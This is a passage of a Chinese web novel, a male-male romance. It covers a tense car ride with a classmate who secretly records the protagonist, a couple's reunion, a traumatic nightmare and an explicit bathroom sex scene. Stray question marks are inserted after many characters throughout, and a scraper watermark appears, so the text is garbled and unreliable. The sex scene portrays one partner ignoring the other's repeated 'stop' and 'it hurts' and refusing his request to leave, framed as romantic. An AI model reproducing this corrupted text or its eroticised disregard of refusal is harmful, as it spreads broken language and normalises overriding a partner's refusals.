高元“哼”了一声:“说来听听?” 徐矿没?接这个话?题,先是灌了好几口?牛奶,才转眸过来,笑?眯眯地?看着对方:“你看,我也不知道你很多事啊……这些年怎么样??” 那些具体的?糟心事他没?问。 这个身价的?人?,其实对于?限制消费,停卡,或者破产都不陌生,甚至某种情况下,申请破产反而还是保护财产的?手段,虽然不能正常乘坐公众交通工具,但是不影响人?家开?私人?飞机。 都心照不宣。 高元把嘴里?的?东西咽进去,含含糊糊地?说:“挺好的?。” 他说的?时候,一直在观察徐矿,心里?其实挺没?底儿的?,不仅仅是真的?很多年没?有见过,摸不准对方现在的?脾性,更重要的?是,从最初认识的?时候,他俩之间的?关系就不对等。 不管对方怎么想,高元就是这样?认为的?。 凭什么呢? 凭什么所有的?好事都让你一个人?占了? 为什么自己需要付出?大量金钱才能维持的?友情,你轻而易举就可以得到? 若仅仅是因?为有钱,高元还真的?不会嫉妒,徐矿的?家境虽然属于?佼佼者的?行列,但他家也不差,从小到大身边围着不少捧着他的?,宠着哄着,无论?去哪儿,都会被恭维赞美。 说外形的?话?,高元觉得自己很有男人?味,走的?路线和徐矿也不一样?。 所以他为什么要嫉妒徐矿呢? 哦,是因?为有一天放学,见到了徐矿的?父母来接他。 那天下雨了,门口?停着各种车辆,他早早就在司机的?伞下了,从容地?往自家的?豪车走去,并暗喜于?周围艳羡的?目光,不管家里?龃龉有多少,高家人?似乎都能达成一种共识,那就是在外人?面前决不能丢份,因?此无论?是恩爱的?表象,还是开?最昂贵的?限量版跑车,都是正常不过的?事情。 徐家的?车也在停着,司机举着伞在门外等待,高元刚坐上后座,就看到徐矿从校门跑出?来,没?有打伞,而是把书包举在头顶,快步地?跑向自家的?车,一把拉开?车门。 他看到徐矿低头,不知说了句什么,带着雨水的脸庞上全是笑意,虽然浑身都湿透了,但眸光很亮,晶莹的?水珠顺着少年人英俊的眉眼滑下。 紧接着,高元看到了这辈子都无法忘却的?一幕。 一个西装革履的?中年男人?跟着下了车,极为绅士地?伸手,牵起车内另一位女士,高元认出?来了,那就是徐矿的?父母,两人?都是生意?场上有头有脸的?人?物,像是最触不可及,高高在上的?—— 然后,他们拉着手跑进了雨中。 徐矿把书包往车里?一扔,跟着跑了过去,现在想来,那天的?雨似乎算不上特别大,也有不少路人?没?有打伞,靠着浓密的?树荫来避雨。 可他没?有想到,徐矿的?父母,居然和孩子一块儿不打伞,任凭雨水淋湿自己精致的?西装,裤腿上溅的?都是泥点,可笑?声又那么大,哪怕高元都到家了,依然能够听到。 为什么呢? 他想不明白?。 之后他问过徐矿,对方笑?着说,哦,是因为那会突然很想踩泥坑,就叫着爸爸妈妈一起了。 可能在那个瞬间,高元产生了一丝微妙的?妒意?。 徐矿完全没?察觉,还兴致勃勃地?邀请自己,晚上要一块打球吗? 不要。 高元要回去参加聚会,要练琴,他狠狠地?踹在厕所的?墙壁上,无法排解内心的?陌生情绪。 包括现在,也是一样?。 旁边的?青年神色轻松,大概是坐车的?时间久,散在后颈的?狼尾稍微乱了,显得有点卷翘,被风吹起来的?时候眯起眼睛,气质仿佛洒脱的?流浪艺术家,走哪儿画哪儿的?那种,像没?有脚的?鸟。 不。 徐矿并不是没?有脚的?鸟,他之所以愉快而轻盈,灵魂不必背负重量,那是因?为他家庭环境好幸福,他的?父母爱他,信任他,愿意?让他去飞,即使摔倒也会鼓励重新爬起,不像自己,只是偶然被发觉了真正的?性取向,就遭到了辱骂,殴打,银行卡全部停了,甚至被威胁要断绝关系。 凭什么呢。 “……还在发呆?” 思绪被突兀地?打断,高元怔怔地?看着前方,徐矿把空了的?牛奶瓶扔进垃圾桶,朝他打了个响指:“走了。” 重新坐回车上,徐矿第一件事就是喝了口?纯净水,然后往嘴里?放了两粒薄荷糖。 爆珠的?。 他记得郁书青挺喜欢这个味道,有次午睡醒来,迷迷糊糊地?凑上来闻他的?嘴角,说味道不错。 距离目的?地?不过两个小时了,徐矿心情相当不错,以至于?能主动地?和高元聊上几句。 “那你接下来去哪儿,还回兴安岭么?” “……回。” 高元不大自在地?转过身子:“我准备做点药材生意?。” “挺好的?,”徐矿随口?道,“有了目标,肯定会顺顺利利。” 没?想到,高元听了这句话?后,像是被踩中尾巴似的?炸毛:“什么意?思,你是说我现在没?目标吗,咱们?这么多年不见,你就看不起我?” 徐矿:“……” 他俩初中是在一块玩过,那会的?高元人?气不错,去哪儿都呼朋唤友的?,为人?也豪爽大方,但是升入高中后不在一个地?方,联系就少了许多,徐矿不是那种喜欢背后说人?的?,对于?某些传言也不会去听,但为什么对高元产生了本能的?厌恶呢? 大概随着年龄的?增长,会更清晰地?看出?一个人?的?本质,不需要多深入的?接触,谁也不是傻子,自从昨天晚上他笑?嘻嘻地?晃着手电筒,往人?家农场的?工作人?员眼睛上照时,徐矿就皱起了眉,意?识到,高元可能已?经?不再是曾经?那个不完美,但很真实的?少年了。 更何况,今天刚上车的?时候,就被他发现,偷偷打开?了手机的?录音。 高元还在激动:“都是老同学,你说,你是不是看不起我!” 徐矿注视着他:“我为什么要看不起你?” 高元被噎了下,嘴唇抖着:“因?为……因?为我现在债务有点问题。” 徐矿坐姿随意?,手指轻轻点在膝盖上:“哦。” 十几个小时的?车程,一直没?有睡觉,他这会有些倦意?,不打算继续废话?。 刚才在外面吹风时,他已?经?不动声色地?交代过了。 必须要安排人?去查,徐矿敏锐地?察觉高元有问题,不然,干嘛要故意?套话?录音? 外面真的?要下雪了,云层沉甸甸地?往下压,高元的?手攥得很紧,都能看到脖颈上绷起的?青筋,但是他的?情绪逐渐平复下来,出?了长长的?一口?气,又笑?了。 “哥们?,”他拍拍徐矿的?肩,“我这几天没?睡好,有点暴躁,别介意?。” 徐矿点头:“成,我知道。” 凌晨四点半,黑色的?车辆终于?下了高速。 而卧室里?的?郁书青,则打着呵欠醒来。 徐矿提前说过了,大概是清晨的?时候到,让他休息好,不用等,郁书青说谁等你了,今天是周日,我可要好好睡个懒觉。 事实上,昨天晚上九点多钟,他就睡着了。 可能因?为知道了徐矿快要回来,距离逐渐拉进,郁书青居然很快就睡着,醒来的?时候,外面的?天还没?亮,夜幕浓得像墨水一般,什么都看不清,连颗星星都瞧不到,郁书青简单地?洗了个澡出?来,决定去书房工作一会。 闲着也是闲着。 电脑屏幕打开?,熟悉的?数字和条例出?现,但那双漂亮的?眼眸里?却并没?有专注的?神色,而是种微微的?茫然,过了会儿,郁书青叹了口?气,把捏扁的?面包随手放在书桌上,认命般的?回到卧室。 他关上灯,带上眼罩,强迫自己大脑放空—— 徐矿走后,郁书青睡不好还有个原因?。 就是他试图想起来。 无论?是去医院,看心理医生,抑或是冥想,郁书青都努力去寻找那段丢失的?记忆。 不应该忘了的?。 有一位德高望重的?长辈建议他冥想,放空所有的?思绪,想象自己漂浮在无垠的?宇宙里?,周围什么都没?有,忽略所有的?触觉,感知本心,说这样?对他的?精神有帮助。 郁书青照做了。 依然没?有想起来。 但在这个过程中,倒的?确获得了精神上的?宁静于?平和。 以至于?,连熟悉的?脚步声都差点忽略。 等察觉到时,声音已?经?在卧室门口?停下。 郁书青的?心砰砰地?跳了起来。 徐矿回来了。 好神奇,可能由于?这会儿大脑太过放空,以至于?别的?感官特别敏锐,甚至都能嗅到淡淡的?薄荷香味。 他吞咽了下,决定假装没?有发现,不然要是徐矿知道自己很早就醒来,又因?为胡思乱想,连工作都静不下心,肯定会唰地?一下直接开?屏。 黑暗的?卧室里?,郁书青安静地?躺在床上,墨绿色森*晚*整*理的?真丝眼罩挡住了微颤的?睫毛。 但门没?有被打开?。 声音停下了。 不进来吗? 等了好一会儿,郁书青才从床上坐了起来,疑惑地?摘下眼罩,都过去十来分钟了,难道是他听错了,不然,为什么没?有动静? 他试探着开?口?:“徐矿?” 没?有回应。 郁书青打开?床头灯,赤着脚下床,朝门口?走去。 门推不开?,像是有东西挡着,很重。 他稍微加了点力气,暖黄色的?光晕也终于?顺着门缝溜出?去,温柔地?洒在徐矿的?头发上—— 郁书青睁大眼睛,惊呼了一声。 徐矿躺在他的?门口?,蜷曲着身体,已?经?睡着了,连被门往外推了一点都被注意?,满身的?风尘仆仆,没?有脱鞋子,只脱了外套,胡乱地?盖在自己身上。 “你怎么了,”郁书青握着门把手,“怎么睡着了?” 徐矿这才醒来。 他慢吞吞地?坐直身子,揉了揉自己的?眼睛,抬眸看郁书青:“嗯……几点了?” “五点钟。” 有了空隙,郁书青连忙走出?卧室,蹲下来看徐矿:“你为什么不进去?” “怕把你吵醒。” 徐矿看起来困极了,声音好哑:“又舍不得去睡沙发,想离你近一点。” 郁书青张了张嘴:“……你是笨蛋吗?” “唔……” 徐矿睡眼惺忪:“我是不是在做梦,你骂得好温柔啊,喜欢。” 郁书青没?说话?,因?为他这会儿稍微有点生气,觉得怎么能因?为这样?,就不进来卧室呢,要是他真的?睡懒觉赖床,就在门口?地?板上睡一晚?起码躺沙发也行呀! 可徐矿凑近,亲吻了他。 “骂的?凶也喜欢。” 郁书青没?躲,耳尖发烫:“你有病吗,傻成这样?!” 徐矿笑?了起来,眼眸里?满是倦意?和温柔。 “看来不是做梦,甜的?。” 他伸手按住郁书青的?后脑勺,拉进彼此。 “怎么样?都喜欢。” 第66章 第 66 章 郁书青闭上眼睛的时候, 心?里只有?一个念头?。 可能下雪了。 不然,为什么会这么安静,但又仿佛能听到有?东西轻飘飘落下的声音。 他像吃了颗酸果子?似的, 心?里汪了一湖皱皱的春水, 被?徐矿捧着脸, 一点点地啄吻着眼皮和嘴角, 好奇怪,似乎意识到自己在想对方, 但这会完全不舍得睁开眼, 去看一看想念的脸。 徐矿亲了亲, 就停下来, 把郁书青抱进?怀里。 “怎么办,好想你啊。” 过了会儿,郁书青才开口:“从?什么时候开始想的?” 徐矿的下巴搁在对方的头?发?上, 轻轻蹭了蹭:“好多年前就想了。” 从?郁书青没有?去他生日宴的那天。 从?坐上飞机, 离开故乡的时候。 从?他坐在喷泉旁看漫天的晚霞, 躺在厚重的雪地上为美丽的极光惊讶, 很多不经意的瞬间, 甚至只是吃到了很好吃的面?包,都会想念郁书青,想到最后,开始生自己的气。 莫名?其妙的, 觉得有?点难过。 以至于用激烈的情绪来表达, 仿佛这样,就不会更加伤心?。 少年处理情绪的能力, 还是不够出?色。 徐矿说:“对不起啊。” 他俩在地上坐着,郁书青几乎整个人都被?对方拢在怀里, 暖气明?明?很足,但徐矿可能是睡晕乎了,睁眼看到郁书青就穿了薄薄的睡衣,伸手把自己的外套拿起来,盖在对方身上,像是冬日里挤在一起的小动物,要为彼此取暖。 郁书青的声音闷在他的胸口:“为什么这样说?” “刚见面?的时候,生你的气,没有?好好追你就……”徐矿顿了顿,“是我?不好。” 他那天真的气死了。 郁书青浑身都是酒气,软绵绵地往自己身上靠,不由分说,大马路上伸手勾住他的脖子?,恋爱都没谈过,就敢去亲陌生男人的嘴了,被?他推开还委屈,睁着俩大眼睛盯着他看,当时徐矿还挺凶,说再看给你的眼剜了。 郁书青是怎么说来着? 哦,他说那我?就打断你的腿。 还是熟悉的语气,倔得不行的表情,被?瞪过来的那个瞬间,徐矿就觉得,自己有?点不行了。 顶不住。 就像今天一样,徐矿于凌晨五点回来,外面?是即将降临的暴风雪,他满身风尘仆仆,蹑手蹑脚地走近卧室,却不舍得伸手推开门,怕吵醒了郁书青的睡眠。 “跟你道歉,”徐矿把人往自己怀里紧了紧,“我?错了。” 虽然迟到了许多年,但认清心?意后,再好好地进?行追求也不晚。 因?为他和郁书青,都很有?耐心?,愿意等待。 “以后不这样了,好好追你,成吗?” 徐矿低头?,又去亲郁书青的耳朵:“困不困,要不要再睡会?” 经过刚才小小的亲热,他这会儿的困劲儿倒是过去了,直接开车送郁书青上班都没问题,但是郁书青不行,如果精神不好的话,整个人都是种恹恹的状态。 “嗯,” 郁书青抓着他的衣襟,垂着睫毛:“睡一会吧。” 徐矿一口答应:“成……” “抱着我?睡。” 郁书青这才抬头?:“我?要你抱着我?,一起睡。” 徐矿怔了下:“好,我?先去洗个澡。” “不用了,”郁书青摇头?,“别折腾,先休息吧。” “可是……” “别废话。” 郁书青直直地向他伸出?双臂,目光坦率。 “抱我?。”- 重新躺到床上的时候,郁书青倒是没有?再说什么,背过身,一副困倦的模样。 徐矿就从?后面?抱着他,把脸深深地埋进?对方的后颈,吸了一口。 舒服! 温热而熟悉的皮肤触感,淡淡的沐浴露香气,以及伸手就能摸到的腰—— 徐矿有?点荡漾。 他心?猿意马地去咬郁书青的耳垂:“宝宝……” “走开,” 郁书青冷冷开口:“你起码二十个小时没合眼,我?可不想你死在我?身上。” 徐矿沉默了下:“不至于……” 以前熬夜画画或者赶报告,一两天不睡觉也不是稀罕事,年轻嘛,身体扛得住造,更何况见到了自己想念许久的人,自然有?些心?猿意马,并不是为了某些害羞的事。 只是想再亲亲而已嘛,有?些反-应他也控制不了的。 徐矿委屈。 他又不是什么X虫上脑的好色之徒! “我?困了,”郁书青继续道,“哄我?睡觉。” 徐矿脑子里的旖旎立刻没了,轻轻地拍着他的后背:“好,给你唱歌行吗?” 屋里好安静,淡淡的光线透过窗帘洒进来,笼着一层金色的晨曦,郁书青的后背贴着男人宽阔的胸膛,心?跳得稍微有?些快,就没来得及思?考,以至于,徐矿开口的时候,郁书青才反应过来。 “难以忘记,初次见你,一双美丽的眼睛——” 郁书青瞳孔紧缩了下。 “只怕我?自己会爱上你,也许有?天会情不自禁——” 郁书青艰难地转身:“停,停……!” 可徐矿还在嗷嗷地唱。 他什么也顾不得,一把捂住对方的嘴:“闭嘴,别唱了!” 徐矿抓着他的手腕,似乎还想挣扎一下。 “给我?睡觉!” 郁书青恶狠狠地瞪他:“再不睡我?给你扔出?去!” 他能感觉到掌心?被?轻轻碰了下,应该是徐矿委屈地撅了下嘴,挨到了他,随即,徐矿就抬手,盖在他的手背上。 郁书青收回手,重新转过身,背对着徐矿。 天边似乎泛起鱼肚白,也可能是下了雪,映出?一片白茫茫的亮,身后的人完完整整地把自己拢在怀里,能感知?到彼此的心?跳,熟悉的体温中,郁书青的眼皮也开始变重,居然跟着沉沉睡去。 做了个不太好的梦。 梦见被?人逼到角落,他又冷又饿,死死撑着即将滑落的身体,后背贴着冰冷的瓷砖,面?前是逐渐逼近的压迫,郁书青很想看清对方的脸,但是眼前仿佛笼了茫茫的雾气,什么都看不见。 有?人过来,蛮横地拉他的胳膊。 他毫不犹豫地反抗,抓起旁边的拖把砸了下去……没错,地点是在学?校的厕所里,那年卓越的教学?楼刚装修完,什么都是新的,拖把上连毛刺都没有?,却还是被?扎得流了血。 因?为什么受伤来着? 不记得了。 郁书青低头?,怔怔地看手上的血。 又抬手,摸了摸自己的后脑勺。 好疼。 他踉跄着想要往外跑,想从?地上爬起来,但是身体很重,完全动弹不了,灵魂像是被?剥离一般,完全无法掌控自己,连一根手指都动不了,眼睁睁地看着迷雾越聚越多,而嘈杂声也逐渐增大,吵着他的耳朵。 “你要乖,不要往外乱跑。” “真好,小咪是最听话的孩子?,太省心?了。” “……你害死了爸爸妈妈!” 有?东西在咬他的手指,不,应该是碾,像是沉重而冰冷的石头?,反复地碾过他的双手和两臂,他感觉自己在被?一点点地咬碎,吞噬,即将变为齑粉—— 不是的。 他拼命往外拔自己的手,试图摆脱庞大的石块,太沉了,浑身又冷得要命,每一次挣扎都在地上留下蜿蜒的血迹,太疼了,疼到发?麻,牙龈处都泛着酸,梧桐叶把阳光变得斑驳,有?声音在耳边呢喃,说放弃吧,睡一会儿,不要这么累呀。 不行。 郁书青咬自己的舌头?,咬到满嘴的血腥气,死命保持着清醒,努力挣扎,用尽自己最大努力站起来,仿佛有?人在叹气,很温柔的样子?,说为什么要这样逼自己呢,你爷爷奶奶又不爱你,他们爱着的,是一个想象中的完美小孩。 别为难自己吧,睡觉吧。 郁书青摇头?,说不出?话,满脑子?只有?一个念头?,说不行,我?不可以倒下。 耳边的声音又变了,抬高音量,说你还好意思?这样活着吗,你爸爸妈妈就是因?为你去世的,如果不是你在河边贪玩,就不会掉进?水里,他们也不会为了救你—— 【那我?更要好好活!】 地面?都是血,郁书青喉咙里像是被?砂纸打磨,疼得满脸煞白,但眼眸里仿若燃着火焰,死死地盯着前方,雾气遮挡,他看不见对面?的人,只能听到蛊惑似的声音,劝他放弃,劝他安眠,说父母走后,全世界都没有?人爱他。 【没关系,我?可以爱我?自己。】 郁书青的眼睛被?冷汗蛰得疼,他就这样抬头?,用被?血染红的眼睛看前面?,终于嘶哑着开口—— “……小咪!” 屋里亮着灯,郁书青紧紧地闭着眼,像是从?水里打捞上来一般,睡衣都贴在身上,徐矿吓坏了,抱着他,急切地喊着名?字,喊郁书青,你醒醒。 怎么就梦魇了呢? 徐矿睡得迷迷糊糊,翻身的时候一摸,吓清醒了,郁书青浑身都是冷汗,嘴唇抖动,却发?不出?任何的声音,脸色白的吓人。 “小咪,能听见我?说话吗,小咪?” 徐矿慌乱地去找手机:“是不是发?烧了,你等我?叫医生……” 直到这时,郁书青才轻微地抖了下,缓缓睁开眼睛,被?汗水打湿的睫毛颤着,又无力地闭上。 “小咪,你终于醒了,你是不是做噩梦了?” 徐矿的心?还突突跳着,伸手去捋郁书青汗湿的额发?,看见对方嘴唇动了下,赶紧弯下腰去听:“你说什么?” “……好吵。” “啊?” “说你好吵,”郁书青从?徐矿怀里撑起身体,嗓音很哑,“我?要喝水。” 徐矿短暂地怔了几秒,连滚带爬地下床,去厨房倒了温水过来,重新给郁书青抱怀里,把杯口递到嘴边。 郁书青就着徐矿的手,很慢地喝着。 一整杯水,全部喝完了。 “还要吗,我?再给你倒点?” “好。” 醒来的郁书青,足足喝了三杯的温水,才长长地呼出?一口气,抬眸看向徐矿,眼眸里的迷茫终于消失,取而代之的是清澈和平静。 徐矿呜呜咽咽的:“你是不是做噩梦了……” “是,做梦而已……你好夸张啊,”郁书青笑笑,“怎么还哭上了?” 徐矿嗷一嗓子?叫起来:“我?哪儿哭了?” 郁书青懒得搭理他:“嗯,没有?,你是有?泪不轻弹的硬汉。” 这会儿已经到下午的时间了,郁书青估摸着就是因?为自己睡的时间太久,所以大脑有?些缺氧,便做了噩梦,既然醒了就没事,去洗洗脸就好了,可徐矿还是很紧张的样子?,一直在后面?跟着,问来问去的。 “没什么,”郁书青嘴里叼着牙刷,“好像梦见我?出?车祸了?忘了。” 他不太能记得自己的梦,无论是愉快的还是噩梦,哪怕波折再大,只要醒来缓上一会,很快就会忘掉,变得一片空白。 还好,郁书青本来也就不太做梦。 “呸呸呸,”徐矿很紧张的样子?,“说破了就好了。” 水流声还在继续,郁书青随手把水珠弹徐矿脸上:“行了,怎么还迷信起来?” “我?刚在想,是不是我?从?外面?回来,身上沾了什么脏东西,”徐矿老实巴交地在后面?站着,“所以让你做噩梦了。” 郁书青被?逗笑:“有?可能。” “那怎么办?” 徐矿语速很快:“我?去用柚子?水洗澡,还是拿桃树枝抽打一下啊,我?记得小时候有?次我?乱跑,回来我?奶奶非说我?沾到不干净的东西了,就让我?在前面?走,她拿菜刀在后面?砍了一下。” 郁书青洗漱完,转身过来,后腰硌在洗手池上:“真的?” “嗯,”徐矿认真地点头?,“奶奶用菜刀在我?脚后跟那里砍完后,说把什么绊脚的砍断了,就没事了。” 郁书青若有?所思?地看着徐矿,接触这些天来,他感觉徐矿并不是一个迷信的人,不在乎什么忌讳的,做事的原则就是莽。 他略作沉吟:“你信这个吗?” “当然不信啊,”徐矿毫不犹豫,“但是,我?奶奶要这样做,我?也会配合,并且很高兴。” 他不跟自己家人较劲,愿意哄着这样的老小孩,只要是因?为爱,那么一点迁就算不了什么。 更何况,在心?理学?上,这也是种正向的暗示。 “要不……” 徐矿突然凑近,两人的鼻尖几乎都要相触:“我?也给你试一下?” 郁书青的手抵在对方的胸口:“不要。” “试试吧,万一真的是我?粘上脏东西了呢?” 郁书青半开玩笑:“大蒜还去晦气呢,你要不去厨房剥两头?蒜?” 徐矿眼睛明?显亮了起来:“厨房里有?蒜?” 郁书青沉默了下,表情复杂:“你吃了蒜,就别想亲我?了。” 没想到,徐矿的眉头?拧了起来,陷入思?考,似乎真的在考虑可行性,浴室里灯光明?亮,清晰地照出?对方英俊的眉眼,睡了一觉后,整个人都变得神清气爽,但是没来得及刮胡茬,下巴那里稍微有?点泛青。 修长的手指抚了上去。 郁书青挠着徐矿的下巴,漫不经心?的样子?:“所以我?都这样说了,你还不想亲我?吗?” “我?……” 凑近的吻打断了徐矿的犹豫。 郁书青仰起脸,主动亲吻了对方。 火星子?掉进?枯草。 等到两人都气喘吁吁地分开时,姿势已经大变样,郁书青被?抱着坐在洗漱台上,分开的两-腿夹着徐矿的腰,眼眸蒙着水汽,薄薄的睡衣已经被?揉皱,凌乱地挂在肩头?。 徐矿两手撑在台上,静静地看了会。 “你真好看。” 浴室里换风的声音很小,自然压不住衣物滑落地面?的声音,郁书青的手抓着徐矿的头?发?,难为情得耳朵都要红了—— “有?点扎……” “不行……” “疼。” 以前只要他说疼,徐矿肯定立马停下,但今天这人狗胆包天,完全不为所动,微微冒出?的胡茬带来的不仅是细微的刺痛,还有?难以言喻的痒,他就故意一边咬,一边用下巴蹭郁书青。 摩挲得泛红,又因?为加上了水蜜桃味儿的东西,细腻的肌肤一片湿-滑。 郁书青抖了下,急急地开口:“好了,你停下!” 徐矿早已站了起来,单手揽着郁书青,另只手维持着动作:“嗯?” “……我?想上厕所。” 做噩梦出?了太多的汗,醒来后口渴得不行,喝了整整三杯的温水,郁书青难为情地把徐矿往外推:“你能不能,先出?去一下?” 他受不了的。 徐矿很温柔地亲心?上人的脸颊:“不能。” “……徐矿!” 郁书青猝然变调,指甲深深陷入男人的肩膀:“你混蛋!” 不停下就算了,反而更快更用-力,他膝盖没法儿并-拢,被?禁锢在如此狭小的空间,后背就是浴室的镜子?,镜面?和洗手台就那么一点的地方,徐矿完完全全地把他压在这里,不得逃脱。 “害羞?” 他亲昵地蹭彼此的脸颊:“我?把花洒打开,你听着声音就不紧张了。” 郁书青的瞳仁紧缩,下一秒,猛烈的水流声响起,哗啦啦地冲击地面?,汇集成蜿蜒的小流,水蒸气缓缓上升,在浴室里氤氲出?温热的气息。 “不行,我?杀了你……” 他咬徐矿的肩,又咬对方的胳膊,哪儿都咬,又抓,反复地骂你是狗,你不要脸。 徐矿就亲他,随便咬,一点也不怕疼,还笑着凑近耳边,说你不是要杀我?吗,干嘛纟交得这么紧? 郁书青不是没被?徐矿硬生生糙设过,他能接受,但完全接受不了这么羞-耻的行为,耳朵红得能滴血,憋得受不了,可另一种奇异的感觉也在被?放大,头?皮发?麻,被?刺-激得什么都不会了,只会骂徐矿,哭着骂,反复地骂他混蛋王八蛋。 是真的哭了,眼泪啪嗒啪嗒地摔在徐矿的肩膀上。 到最后,骂也骂不出?声了,就喘-气。 徐矿紧紧地抱着他,眼睛死死地盯着镜子?中的身影,郁书青后颈处的皮肤全变粉了,瞳仁微微上翻,整个人像是刚剥皮的水蜜桃,不,也可能是荔枝,反正就是一切饱-满多氵十的的水果,熟透了,在枝头?沉甸甸地垂下。 看了会,受不了,就过去亲人家嘴巴。 真好,是张开的。 郁书青呼吸不过来,双目失神,干涸的眼泪黏在脸颊上,睫毛也是一簇簇的,仿佛被?雨打湿的绒花。 他已经不记得,一切是什么时候结束的。 只知?道在濒死般的战-栗中,徐矿亲他的脸,夸他好可爱。 他被?温柔地放在浴缸里,水温适宜,刚好没过肩膀,沐浴露也是最喜欢的味道,徐矿很认真地给他洗澡,打泡沫,又用柔软干净的浴巾给他包裹起来,放在床上。 床褥发?出?轻微的“吱呀”声。 郁书青这才缓过劲,睁开眼,突然开始紧张。 “别,”他抬脚,踩在徐矿的肩上,“我?饿了,要吃饭……是吃厨房的那种饭!” 徐矿偏过脸亲了下,笑声很轻:“好。” 却没有?离开卧室去厨房,而是单手脱掉衣衫。 “我?这就来。” 第67章 第 67 章 郁书青靠在沙发上, 面无表情地捧着一杯红枣姜茶。 已经到晚上了,终于吃上了真?正的饭,厨房里?做出来的那种, 但是吃饭之前, 被迫通过?另外的手段填饱了肚子, 这会儿还是累得太厉害, 只想喝点?甜丝丝的东西。 厨房里?隐约传来徐矿的歌声,还好水流的声音更大, 遮盖住了些许。 郁书青叹了口气。 吃饱了, 这下各种意义上都吃饱了。 快乐吗? 反正床单换了两遍。 舒服吗? 郁书青舒服得直蹬腿。 但问题是, 他依然?一脸的不爽, 这种不爽完完全全出自于心?理,羞耻,不可?思议, 以?及最后破罐子破摔的摆烂, 都归根结尾指向?一个问题。 那就是, 他被鬼迷了心?窍。 居然?真?的同意, 被徐矿在浴室弄得…… “老公!” 旁边的沙发凹下去?, 淡淡的沐浴露香味中,徐矿直接把脑袋拱进郁书青怀里?,声音拉得很长,无赖地撒娇:“姜茶好喝吗?” 郁书青敷衍地在人脑袋上揉了两把:“……鬼来了。” 徐矿抬头:“啊?” “没事, ”郁书青把杯子放桌上, “挺好喝的。” “是吧!” 徐矿满眼都是期待:“那我们是不是可?以?……” 郁书青毫不犹豫:“不行。” “为什么不行!” 徐矿不乐意了,使劲儿闹:“我就是想和你一起出去?看雪嘛, 这可?是今年的初雪,第一场雪, 多有意义啊!你想象下咱俩牵着手在雪地里?走,看着路灯下雪花飞舞的画面,多好看啊!” 他一骨碌从?郁书青膝盖上起来,坐直了,语气严肃。 “今朝若是同淋雪,此生也算共白头!” “小咪,我知道你是一个要强的男人,永远都在奋斗努力,不停地充实自己,但现?在你不用刻苦好学了,因为你的雪来了。” 郁书青:“?” 他无语地看着对方:“不行的原因是,你把我给?啃成?这样,我怎么出去?见人?” 脖颈上的吻痕就不说了,以?前徐矿挺有分寸,不会在暴露出来的肌肤上留下痕迹,基本也就是克制不住的时候,在胯骨和腰侧捏出指痕,这些地方还好,衣服一穿,外人完全察觉不到。 “还好啊,”徐矿凑近看了眼,“不是很明显,可?以?用围巾遮一下,并?且——” 说完,他就蹭一下站起来,背对着郁书青解开衣衫,露出大半的背部,语调铿锵有力。 “这是荣耀!” 郁书青的目光从?上面的抓痕掠过?,冷冷地扯了下嘴角。 他也不遑多让,徐矿给?他弄疼了,他就使劲儿又咬又抓,给?那宽阔的臂膀也留下不少的印子,看起来还是彼此不服输,别着劲儿较量。 都渴望征服对方。 “不是这个,”郁书青顿了顿,声音很轻,“是……那里?。” 徐矿愣了下,这才坐回来,很紧张的模样:“受伤了?给?我看看。” 他对郁书青的身体已经熟悉了,也在最大范围内把前-戏做得温存,刚才是有些过?火,但是也不至于—— “走路的话,摩擦会好痛。” 郁书青把凑近的脑袋推开:“我是真?不理解,你口欲期还没结束吗?” 徐矿这才明白郁书青难受的点?在哪里?,他小心?翼翼地觑了一眼,微微红了脸,没再花言巧语:“……抱歉。” 在家里?还好,可?以?穿宽松的睡衣,他被吃-肿,没法儿穿贴身的布料,不然?就会疼得到抽一口气。 “也抹点?药吧,”徐矿垂着头,“我、我以?后轻点?。” 郁书青重新端起姜茶,喝了一小口:“不用。” 因为半个多月的功夫没见了,一时有些不太适应,按照他的经验,好好休息一下,第二天起来就好得差不多,主要这个地方实在敏-感,很容易被刺激到,徐矿似乎非常喜欢那些许的凹陷,并?执着地将其变红,变得更有存在感。 真?说有多痛,倒也不至于,就是碰到的话,会有发热的感觉,一跳一跳的。 姜茶是刚煮好的,加了红枣和冰糖,散着热乎乎的甜味,和冬天最是适配,其实如果不是不方便,郁书青真?的挺想出去?看看雪,在洁白的地面留下脚印的。 可?惜了。 他有些纠结,不知道明晚的雪,还会不会继续。 “那不出去?的话……我们在家里的沙发上,一块窝着看电影好吗?” “行。” 客厅里?没有电视,当?初装修的时候倒是安装了投影,幕布很久没有放下了,徐矿从?书房出来,重新坐好,把笔记本放在膝盖上:“你喜欢什么电影,我先搜一下。” 郁书青随口道:“都行。” 他不怎么挑,别人嗤之以鼻的爆米花电影,郁书青也能看得津津有味,可?能在艺术方面,实在没有什么审美。 惬意地喝了会姜茶,旁边出奇的安静,郁书青偏过?头,好奇地看徐矿这会儿在干嘛,都快把脸贴在屏幕上了,眼睛睁得很大,满脸惊异。 下一秒,劲爆的舞曲响起,徐矿手忙脚乱地点?着触摸板,差点?把电脑摔地上。 “嗯?” 他跟着凑近,看清楚屏幕上的画面时,呼吸一滞。 满眼的威尼斯人澳门赌-场和各种花里?胡哨的武器特效。 徐矿哆嗦着抬头:“我还是心?里?乱,想先搜一下用什么药,就成?这样了……” 郁书青沉默了下:“你搜了什么关键词?” 徐矿目光躲闪,快速地掠过?郁书青的胸前。 郁书青:“不用说了,我懂了。” 徐矿撇着嘴。 “我明明点?进去?的是医院的网站,但是,突然?出现?了一个游戏画面,说是兄弟就砍我一刀,但是无论?我点?哪里?,都砍不到他,也点?不到关闭键。” “后来好不容易在右下角找到了,点?了叉号后,就蹦出这个了……” 徐矿委屈:“我从?来不看这些的,你相信我!” 郁书青左手抱着杯子,怜爱地伸出右手,摸了摸对方的脑袋:“嗯,我知道了。” 可?徐矿还是不死?心?,在郁书青的帮助下,给?那些乱七八糟的页面都关掉后,悄咪咪地拿起手机,咨询好友,也就是自己的家庭医生。 “不是喂-奶造成?的……” “也没有玩很大,什么钉?没有……你不许笑!” “哦,好的,那我这就去?买。” 徐矿放下手机,乖巧地看过?来:“老公……” “红霉素药膏是吧,”郁书青淡定道,“家里?有,你要是真?的心?里?过?意不去?,抹吧。” 徐矿一骨碌爬起:“你怎么知道,好聪明!” “咱俩第一次,你给?我弄进医院,除了发烧之外,那里?……也红肿了。” 屋内一片死?寂。 郁书青继续:“医生开完药,我就给?自己抹,第二天才慢慢好起来。” “还被骂了,说怎么就不注意安全措施呢,弄里?面很容易生病的。” “白可?心?还怀疑我被人打了,是不是被敲了闷棍,怎么膝盖都是青紫,走路都别扭,嗯,没错,我的确是被你乱棍揍了……活儿真?差。” 